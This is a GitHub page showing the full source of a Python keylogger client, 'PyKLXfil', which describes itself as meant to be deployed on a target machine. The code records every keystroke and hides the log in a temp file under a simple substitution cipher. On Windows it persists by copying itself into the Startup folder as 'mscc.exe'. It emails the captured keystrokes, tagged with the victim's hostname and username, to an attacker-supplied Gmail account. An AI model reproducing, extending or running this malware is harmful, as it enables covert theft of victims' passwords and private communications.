-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPyKLXfil-Client-mail.py
98 lines (85 loc) · 3.56 KB
/
PyKLXfil-Client-mail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#PyKLXfil client to be deployed on target
#### CLIENT ####
# -*- coding: utf-8 -*-
#Auther: 2021, Mayed Alm
import os
import sys
import random
import yagmail
import logging
import tempfile
import threading
from time import sleep
from shutil import copyfile
from pynput.keyboard import Listener
class PyKLXfilClient_mail:
def __init__(self):
self.Listener = Listener
self.letters = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
if os.name == 'nt':
self.log = tempfile.gettempdir() + '\\'
self.hostname_username = os.getenv('COMPUTERNAME', 'defaultValue')+','+os.getlogin()
elif os.name == 'posix':
self.log = tempfile.gettempdir() + '/'
self.hostname_username = os.uname().nodename+','+os.getlogin()
self.file = self.log + "log"+str(random.randint(10000,99999))+".log"
logging.basicConfig(filename=self.file, level=logging.DEBUG, format='%(asctime)s: %(message)s')
def persist(self):
#persistence if running as admin in windows
if os.name == 'nt':
try:
copyfile(sys.argv[0], r"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\mscc.exe")
except PermissionError:
pass
#function to perform basic substitution cipher
def substitution(self, str):
Table = str.maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijk\\lmnopqrstuvwxyz0123456789+/!@#$%^&*()-_=][.,'",\
"01234567ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuv\\wxyz/+89%^&*()$.,#@!-'[]=_")
return str.translate(Table)
#logging function
def on_press(self, key):
if str(key).startswith("Ke"): #detect if pressed key is special keyboard key
logging.info(''.join(random.choice(self.letters) for i in range(10))+self.substitution(str(key)+''.join(random.choice(self.letters) for i in range(10))))
else:
logging.info(''.join(random.choice(self.letters) for i in range(10))+self.substitution(str(key)[1]+''.join(random.choice(self.letters) for i in range(10))))
def routine(self):
with open(self.file, "w") as f:
f.write("") #clean the file
size = os.path.getsize(self.file)
sizeKB = size >> 10 # right shift by 10 to get size in KB
while sizeKB < 15:
size = os.path.getsize(self.file)
sizeKB = size >> 10 # right shift by 10 to get size in KB
if sizeKB > 5:
try:
self.mail()
except:
sleep(5)
continue
else:
sleep(5)
def mail(self):
###Edit with your own gmail account and app password.###
user = ''
app_password = ''
to = ''
subject = self.hostname_username
content = [self.log, self.file]
with yagmail.SMTP(user, app_password) as yag:
yag.send(to, subject, content)
self.routine()
def main_threads(self):
self.persist()
th = threading.Thread(target=self.routine)
listener = self.Listener(on_press=self.on_press)
th.daemon = True
th.start()
listener.start()
try:
while listener.is_alive() and th.is_alive():
sleep(1)
except KeyboardInterrupt:
listener.stop()
if __name__ == '__main__':
run = PyKLXfilClient_mail()
run.main_threads()